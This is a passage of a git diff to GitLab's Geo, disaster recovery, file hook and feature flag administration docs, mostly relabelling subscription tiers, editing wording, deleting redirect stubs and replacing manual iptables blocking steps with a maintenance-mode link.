7424b4e1e83..00000000000 --- a/doc/administration/external_database.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -redirect_to: 'postgresql/external.md' ---- - -# Configure GitLab using an external PostgreSQL service - -This content has been moved to a [new location](postgresql/external.md). diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md index 272009c1f3a..55727822654 100644 --- a/doc/administration/feature_flags.md +++ b/doc/administration/feature_flags.md @@ -6,7 +6,7 @@ type: reference description: "GitLab administrator: enable and disable GitLab features deployed behind feature flags" --- -# Enable and disable GitLab features deployed behind feature flags **(CORE ONLY)** +# Enable and disable GitLab features deployed behind feature flags **(FREE SELF)** GitLab adopted [feature flags strategies](../development/feature_flags/index.md) to deploy features in an early stage of development so that they can be diff --git a/doc/administration/file_hooks.md b/doc/administration/file_hooks.md index 5de2e4aec3f..1d028b80257 100644 --- a/doc/administration/file_hooks.md +++ b/doc/administration/file_hooks.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# File hooks +# File hooks **(FREE)** > - Introduced in GitLab 10.6. > - Until GitLab 12.8, the feature name was Plugins. @@ -19,19 +19,20 @@ directly to the GitLab source code and contribute back upstream. This way we can ensure functionality is preserved across versions and covered by tests. NOTE: -File hooks must be configured on the filesystem of the GitLab server. Only GitLab -server administrators will be able to complete these tasks. Explore -[system hooks](../system_hooks/system_hooks.md) or [webhooks](../user/project/integrations/webhooks.md) as an option if you do not have filesystem access. - -A file hook will run on each event so it's up to you to filter events or projects -within a file hook code. You can have as many file hooks as you want. Each file hook will -be triggered by GitLab asynchronously in case of an event. For a list of events +File hooks must be configured on the file system of the GitLab server. Only GitLab +server administrators can complete these tasks. Explore +[system hooks](../system_hooks/system_hooks.md) or [webhooks](../user/project/integrations/webhooks.md) +as an option if you do not have file system access. + +A file hook runs on each event. You can filter events or projects +in a file hook's code, and create many file hooks as you need. Each file hook is +triggered by GitLab asynchronously in case of an event. For a list of events see the [system hooks](../system_hooks/system_hooks.md) documentation. ## Setup The file hooks must be placed directly into the `file_hooks` directory, subdirectories -will be ignored. There is an +are ignored. There is an [`example` directory inside `file_hooks`](https://gitlab.com/gitlab-org/gitlab/tree/master/file_hooks/examples) where you can find some basic examples. @@ -52,23 +53,23 @@ Follow the steps below to set up a custom hook: in any language, and ensure the 'shebang' at the top properly reflects the language type. For example, if the script is in Ruby the shebang will probably be `#!/usr/bin/env ruby`. -1. The data to the file hook will be provided as JSON on STDIN. It will be exactly +1. The data to the file hook is provided as JSON on STDIN. It is exactly the same as for [system hooks](../system_hooks/system_hooks.md). -That's it! Assuming the file hook code is properly implemented, the hook will fire +That's it! Assuming the file hook code is properly implemented, the hook fires as appropriate. The file hooks file list is updated for each event, there is no need to restart GitLab to apply a new file hook. If a file hook executes with non-zero exit code or GitLab fails to execute it, a -message will be logged to: +message is logged to: - `gitlab-rails/plugin.log` in an Omnibus installation. - `log/plugin.log` in a source installation. ## Creating file hooks -Below is an example that will only response on the event `project_create` and -will inform the admins from the GitLab instance that a new project has been created. +This example responds only on the event `project_create`, and +the GitLab instance informs the administrators that a new project has been created. ```ruby #!/opt/gitlab/embedded/bin/ruby @@ -97,7 +98,7 @@ end Writing your own file hook can be tricky and it's easier if you can check it without altering the system. A Rake task is provided so that you can use it in a staging environment to test your file hook before using it in production. -The Rake task will use a sample data and execute each of file hook. The output +The Rake task uses a sample data and execute each of file hook. The output should be enough to determine if the system sees your file hook and if it was executed without errors. diff --git a/doc/administration/geo/disaster_recovery/background_verification.md b/doc/administration/geo/disaster_recovery/background_verification.md index f2854d0538b..f573b64b5f1 100644 --- a/doc/administration/geo/disaster_recovery/background_verification.md +++ b/doc/administration/geo/disaster_recovery/background_verification.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Automatic background verification **(PREMIUM ONLY)** +# Automatic background verification **(PREMIUM SELF)** NOTE: Automatic background verification of repositories and wikis was added in @@ -146,8 +146,8 @@ If the **primary** and **secondary** nodes have a checksum verification mismatch **Edit** button:  -1. On the project admin page get the **Gitaly storage name**, and **Gitaly relative path**: -  +1. On the project administration page get the **Gitaly storage name**, and **Gitaly relative path**: +  1. Navigate to the project's repository directory on both **primary** and **secondary** nodes (the path is usually `/var/opt/gitlab/git-data/repositories`). Note that if `git_data_dirs` diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md index 3f86e03bd7f..d06f11bbe09 100644 --- a/doc/administration/geo/disaster_recovery/bring_primary_back.md +++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Bring a demoted primary node back online **(PREMIUM ONLY)** +# Bring a demoted primary node back online **(PREMIUM SELF)** After a failover, it is possible to fail back to the demoted **primary** node to restore your original configuration. This process consists of two steps: diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index 2b0a3e2f114..43e5dc1d224 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Disaster Recovery (Geo) **(PREMIUM ONLY)** +# Disaster Recovery (Geo) **(PREMIUM SELF)** Geo replicates your database, your Git repositories, and few other assets. We will support and replicate more data in the future, that will enable you to @@ -145,6 +145,13 @@ Note the following when promoting a secondary: a point-in-time recovery to the last known state. Data that was created on the primary while the secondary was paused will be lost. + NOTE: + In GitLab 13.7 and earlier, if you have a data type with zero items to sync, + this command reports `ERROR - Replication is not up-to-date` even if + replication is actually up-to-date. If replication and verification output + shows that it is complete, you can add `--skip-preflight-checks` to make the + command complete promotion. This bug was fixed in GitLab 13.8 and later. + To promote the secondary node to primary along with preflight checks: ```shell @@ -245,12 +252,6 @@ Data that was created on the primary while the secondary was paused will be lost sudo gitlab-ctl promote-db ``` -1. Disable Patroni auto-failover: - - ```shell - sudo gitlab-ctl patroni pause - ``` - 1. Edit `/etc/gitlab/gitlab.rb` on every application and Sidekiq nodes in the secondary to reflect its new status as primary by removing any lines that enabled the `geo_secondary_role`: ```ruby @@ -273,12 +274,6 @@ Data that was created on the primary while the secondary was paused will be lost sudo gitlab-ctl reconfigure ``` -1. Resume Patroni auto-failover: - - ```shell - sudo gitlab-ctl patroni resume - ``` - 1. Promote the **secondary** to **primary**. SSH into a single application server and execute: ```shell diff --git a/doc/administration/geo/disaster_recovery/planned_failover.md b/doc/administration/geo/disaster_recovery/planned_failover.md index 1468c5cd39d..e64d0d4983e 100644 --- a/doc/administration/geo/disaster_recovery/planned_failover.md +++ b/doc/administration/geo/disaster_recovery/planned_failover.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Disaster recovery for planned failover **(PREMIUM ONLY)** +# Disaster recovery for planned failover **(PREMIUM SELF)** The primary use-case of Disaster Recovery is to ensure business continuity in the event of unplanned outage, but it can be used in conjunction with a planned @@ -45,6 +45,12 @@ be found in `/var/opt/gitlab/gitlab-rails/shared/pages` if using Omnibus). ## Preflight checks +NOTE: +In GitLab 13.7 and earlier, if you have a data type with zero items to sync, +this command reports `ERROR - Replication is not up-to-date` even if +replication is actually up-to-date. This bug was fixed in GitLab 13.8 and +later. + Run this command to list out all preflight checks and automatically check if replication and verification are complete before scheduling a planned failover to ensure the process will go smoothly: ```shell @@ -138,41 +144,10 @@ will take to finish syncing. An example message would be: ## Prevent updates to the **primary** node -Until a [read-only mode](https://gitlab.com/gitlab-org/gitlab/-/issues/14609) is implemented, updates must be prevented -from happening manually. Note that your **secondary** node still needs read-only -access to the **primary** node during the maintenance window. - -1. At the scheduled time, using your cloud provider or your node's firewall, block - all HTTP, HTTPS and SSH traffic to/from the **primary** node, **except** for your IP and - the **secondary** node's IP. - - For instance, you might run the following commands on the server(s) making up your **primary** node: - - ```shell - sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 22 -j ACCEPT - sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 22 -j ACCEPT - sudo iptables -A INPUT --destination-port 22 -j REJECT - - sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 80 -j ACCEPT - sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 80 -j ACCEPT - sudo iptables -A INPUT --tcp-dport 80 -j REJECT - - sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 443 -j ACCEPT - sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 443 -j ACCEPT - sudo iptables -A INPUT --tcp-dport 443 -j REJECT - ``` - - From this point, users will be unable to view their data or make changes on the - **primary** node. They will also be unable to log in to the **secondary** node. - However, existing sessions will work for the remainder of the maintenance period, and - public data will be accessible throughout. - -1. Verify the **primary** node is blocked to HTTP traffic by visiting it in browser via - another IP. The server should refuse connection. +To ensure that all data is replicated to a secondary site, updates (write requests) need to +be disabled on the primary site: -1. Verify the **primary** node is blocked to Git over SSH traffic by attempting to pull an - existing Git repository with an SSH remote URL. The server should refuse - connection. +1. Enable [maintenance mode](../../maintenance_mode/index.md). 1. Disable non-Geo periodic background jobs on the **primary** node by navigating to **Admin Area > Monitoring > Background Jobs > Cron**, pressing `Disable All`, diff --git a/doc/administration/geo/disaster_recovery/promotion_runbook.md b/doc/administration/geo/disaster_recovery/promotion_runbook.md deleted file mode 100644 index eef1e7ae9dd..00000000000 --- a/doc/administration/geo/disaster_recovery/promotion_runbook.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: runbooks/planned_failover_single_node.md ---- - -This document was moved to [another location](runbooks/planned_failover_single_node.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md index f17990ce5f8..3227fafca0f 100644 --- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md +++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md @@ -9,7 +9,7 @@ WARNING: This runbook is in **alpha**. For complete, production-ready documentation, see the [disaster recovery documentation](../index.md). -# Disaster Recovery (Geo) promotion runbooks **(PREMIUM ONLY)** +# Disaster Recovery (Geo) promotion runbooks **(PREMIUM SELF)** ## Geo planned failover for a multi-node configuration diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md index a2a9350e411..7f311d172ef 100644 --- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md +++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md @@ -9,7 +9,7 @@ WARNING: This runbook is in **alpha**. For complete, production-ready documentation, see the [disaster recovery documentation](../index.md). -# Disaster Recovery (Geo) promotion runbooks **(PREMIUM ONLY)** +# Disaster Recovery (Geo) promotion runbooks **(PREMIUM SELF)** ## Geo planned failover for a single-node configuration @@ -233,12 +233,25 @@ To promote the secondary node: check if replication and verification are complete before scheduling a planned failover to ensure the process will go smoothly: + NOTE: + In GitLab 13.7 and earlier, if you have a data type with zero items to sync, + this command reports `ERROR - Replication is not up-to-date` even if + replication is actually up-to-date. This bug was fixed in GitLab 13.8 and + later. + ```shell gitlab-ctl promotion-preflight-checks ``` 1. Promote the **secondary**: + NOTE: + In GitLab 13.7 and earlier, if you have a data type with zero items to sync, + this command reports `ERROR - Replication is not up-to-date` even if + replication is actually up-to-date. If replication and verification output + shows that it is complete, you can add `--skip-preflight-checks` to make the + command complete promotion. This bug was fixed in GitLab 13.8 and later. + ```shell gitlab-ctl promote-to-primary-node ``` diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 1985ea2e04c..296500e35e2 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo **(PREMIUM ONLY)** +# Geo **(PREMIUM SELF)** > - Introduced in GitLab Enterprise Edition 8.9. > - Using Geo in combination with diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md index 5adf256f6fa..154815efa51 100644 --- a/doc/administration/geo/replication/configuration.md +++ b/doc/administration/geo/replication/configuration.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo configuration **(PREMIUM ONLY)** +# Geo configuration **(PREMIUM SELF)** ## Configuring a new **secondary** node @@ -229,7 +229,7 @@ keys must be manually replicated to the **secondary** node. gitlab-rake gitlab:geo:check ``` -Once added to the admin panel and restarted, the **secondary** node will automatically start +Once added to the Geo administration page and restarted, the **secondary** node will automatically start replicating missing data from the **primary** node in a process known as **backfill**. Meanwhile, the **primary** node will start to notify each **secondary** node of any changes, so that the **secondary** node can act on those notifications immediately. @@ -299,7 +299,7 @@ Currently, this is what is synced: ## Selective synchronization -Geo supports selective synchronization, which allows admins to choose +Geo supports selective synchronization, which allows administrators to choose which projects should be synchronized by **secondary** nodes. A subset of projects can be chosen, either by group or by storage shard. The former is ideal for replicating data belonging to a subset of users, while the diff --git a/doc/administration/geo/replication/database.md b/doc/administration/geo/replication/database.md deleted file mode 100644 index 099a73e93d8..00000000000 --- a/doc/administration/geo/replication/database.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../setup/database.md' ---- - -This document was moved to [another location](../setup/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index 0d2922c3347..f2913dd55ce 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo data types support **(PREMIUM ONLY)** +# Geo data types support **(PREMIUM SELF)** A Geo data type is a specific class of data that is required by one or more GitLab features to store relevant information. @@ -35,21 +35,21 @@ verification methods: | Git | Object pools for forked project deduplication | Geo with Gitaly | _Not implemented_ | | Git | Project Snippets | Geo with Gitaly | _Not implemented_ | | Git | Personal Snippets | Geo with Gitaly | _Not implemented_ | -| Blobs | User uploads _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | User uploads _(file system)_ | Geo with API | _Not implemented_ | | Blobs | User uploads _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | -| Blobs | LFS objects _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | LFS objects _(file system)_ | Geo with API | _Not implemented_ | | Blobs | LFS objects _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | -| Blobs | CI job artifacts _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | CI job artifacts _(file system)_ | Geo with API | _Not implemented_ | | Blobs | CI job artifacts _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | -| Blobs | Archived CI build traces _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | Archived CI build traces _(file system)_ | Geo with API | _Not implemented_ | | Blobs | Archived CI build traces _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | -| Blobs | Container registry _(filesystem)_ | Geo with API/Docker API | _Not implemented_ | +| Blobs | Container registry _(file system)_ | Geo with API/Docker API | _Not implemented_ | | Blobs | Container registry _(object storage)_ | Geo with API/Managed/Docker API (*2*) | _Not implemented_ | -| Blobs | Package registry _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | Package registry _(file system)_ | Geo with API | _Not implemented_ | | Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | -| Blobs | Versioned Terraform State _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | Versioned Terraform State _(file system)_ | Geo with API | _Not implemented_ | | Blobs | Versioned Terraform State _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | -| Blobs | External Merge Request Diffs _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | External Merge Request Diffs _(file system)_ | Geo with API | _Not implemented_ | | Blobs | External Merge Request Diffs _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | - (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo nodes. @@ -63,14 +63,14 @@ is responsible for allowing access and operations on the locally stored Git repo on a machine with a single disk, multiple disks mounted as a single mount-point (like with a RAID array), or using LVM. -It requires no special filesystem and can work with NFS or a mounted Storage Appliance (there may be -performance limitations when using a remote filesystem). +It requires no special file system and can work with NFS or a mounted Storage Appliance (there may be +performance limitations when using a remote file system). Communication is done via Gitaly's own gRPC API. There are three possible ways of synchronization: - Using regular Git clone/fetch from one Geo node to another (with special authentication). - Using repository snapshots (for when the first method fails or repository is corrupt). -- Manual trigger from the Admin UI (a combination of both of the above). +- Manual trigger from the Admin Area (a combination of both of the above). Each project can have at most 3 different repositories: @@ -88,13 +88,13 @@ Both types will be synced to a secondary node. GitLab stores files and blobs such as Issue attachments or LFS objects into either: -- The filesystem in a specific location. +- The file system in a specific location. - An [Object Storage](../../object_storage.md) solution. Object Storage solutions can be: - Cloud based like Amazon S3 Google Cloud Storage. - Hosted by you (like MinIO). - A Storage Appliance that exposes an Object Storage-compatible API. -When using the filesystem store instead of Object Storage, you need to use network mounted filesystems +When using the file system store instead of Object Storage, you need to use network mounted file systems to run GitLab when using more than one server. With respect to replication and verification: @@ -144,9 +144,9 @@ The replication for some data types is behind a corresponding feature flag: > - They're enabled on GitLab.com. > - They can't be enabled or disabled per-project. > - They are recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable them](#enable-or-disable-replication-for-some-data-types). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable them](#enable-or-disable-replication-for-some-data-types). **(FREE SELF)** -#### Enable or disable replication (for some data types) **(CORE ONLY)** +#### Enable or disable replication (for some data types) Replication for some data types are released behind feature flags that are **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../feature_flags.md) can opt to disable it for your instance. You can find feature flag names of each of those data types in the notes column of the table below. @@ -173,7 +173,7 @@ successfully, you must replicate their data using some other means. | Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Object Storage replication (see [Geo with Object Storage](object_storage.md)) | Notes | |:---------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------|:----------------------------------------------------------|:-------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [Application data in PostgreSQL](../../postgresql/index.md) | **Yes** (10.2) | **Yes** (10.2) | No | | -| [Project repository](../../..//user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | | +| [Project repository](../../../user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | | | [Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | | [Group wiki repository](../../../user/group/index.md#group-wikis) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | | | [Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them. | @@ -186,13 +186,13 @@ successfully, you must replicate their data using some other means. | [Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. | | [Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | | | [Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | Via Object Storage provider if supported. Native Geo support (Beta). | | -| [NPM Registry](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Maven Repository](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Conan Repository](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [NuGet Repository](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [PyPI Repository](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Composer Repository](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | | [Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default | | [External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default | | [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | | @@ -201,4 +201,4 @@ successfully, you must replicate their data using some other means. | [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | | | [CI Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/ci/pipeline_artifact.rb) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Persists additional artifacts after a pipeline completes | | [Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked on [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Note that replication of this cache is not needed for Disaster Recovery purposes because it can be recreated from external sources. | -| [Vulnerability Export](../../../user/application_security/security_dashboard/#export-vulnerabilities) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. | +| [Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerabilities) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. | diff --git a/doc/administration/geo/replication/disable_geo.md b/doc/administration/geo/replication/disable_geo.md index e8767a56266..a26adcefef5 100644 --- a/doc/administration/geo/replication/disable_geo.md +++ b/doc/administration/geo/replication/disable_geo.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Disabling Geo **(PREMIUM ONLY)** +# Disabling Geo **(PREMIUM SELF)** If you want to revert to a regular Omnibus setup after a test, or you have encountered a Disaster Recovery situation and you want to disable Geo momentarily, you can use these instructions to disable your diff --git a/doc/administration/geo/replication/docker_registry.md b/doc/administration/geo/replication/docker_registry.md index f92a878662e..1669abbc52a 100644 --- a/doc/administration/geo/replication/docker_registry.md +++ b/doc/administration/geo/replication/docker_registry.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Docker Registry for a secondary node **(PREMIUM ONLY)** +# Docker Registry for a secondary node **(PREMIUM SELF)** You can set up a [Docker Registry](https://docs.docker.com/registry/) on your **secondary** Geo node that mirrors the one on the **primary** Geo node. diff --git a/doc/administration/geo/replication/external_database.md b/doc/administration/geo/replication/external_database.md deleted file mode 100644 index dfaf6819fa0..00000000000 --- a/doc/administration/geo/replication/external_database.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../setup/external_database.md' ---- - -This document was moved to [another location](../setup/external_database.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md index ab8199c3717..73a36f5e674 100644 --- a/doc/administration/geo/replication/faq.md +++ b/doc/administration/geo/replication/faq.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo Frequently Asked Questions **(PREMIUM ONLY)** +# Geo Frequently Asked Questions **(PREMIUM SELF)** ## What are the minimum requirements to run Geo? diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md index 2d701458e66..f050d3e708c 100644 --- a/doc/administration/geo/replication/geo_validation_tests.md +++ b/doc/administration/geo/replication/geo_validation_tests.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo validation tests **(PREMIUM ONLY)** +# Geo validation tests **(PREMIUM SELF)** The Geo team performs manual testing and validation on common deployment configurations to ensure that Geo works when upgrading between minor GitLab versions and major PostgreSQL database versions. @@ -53,7 +53,7 @@ The following are GitLab upgrade validation tests we performed. - Outcome: Partial success because we did not run the looping pipeline during the demo to validate zero-downtime. - Follow up issues: - - [Clarify hup Puma/Unicorn should include deploy node](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5460) + - [Clarify how Puma/Unicorn should include deploy node](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5460) - [Investigate MR creation failure after upgrade to 12.9.10](https://gitlab.com/gitlab-org/gitlab/-/issues/223282) Closed as false positive. ### February 2020 @@ -128,7 +128,7 @@ The following are PostgreSQL upgrade validation tests we performed. PostgreSQL 12 with a database cluster on the primary is not recommended until the issues are resolved. - Known issues for PostgreSQL clusters: - [Ensure Patroni detects PostgreSQL update](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5423) - - [Allow configuring permanent replication slots in patroni](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5628) + - [Allow configuring permanent replication slots in Patroni](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5628) ### August 2020 diff --git a/doc/administration/geo/replication/high_availability.md b/doc/administration/geo/replication/high_availability.md deleted file mode 100644 index 1da4246db1f..00000000000 --- a/doc/administration/geo/replication/high_availability.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'multiple_servers.md' ---- - -This document was moved to [another location](multiple_servers.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/index.md b/doc/administration/geo/replication/index.md deleted file mode 100644 index 955e05491d2..00000000000 --- a/doc/administration/geo/replication/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../index.md' ---- - -This document was moved to [another location](../index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git 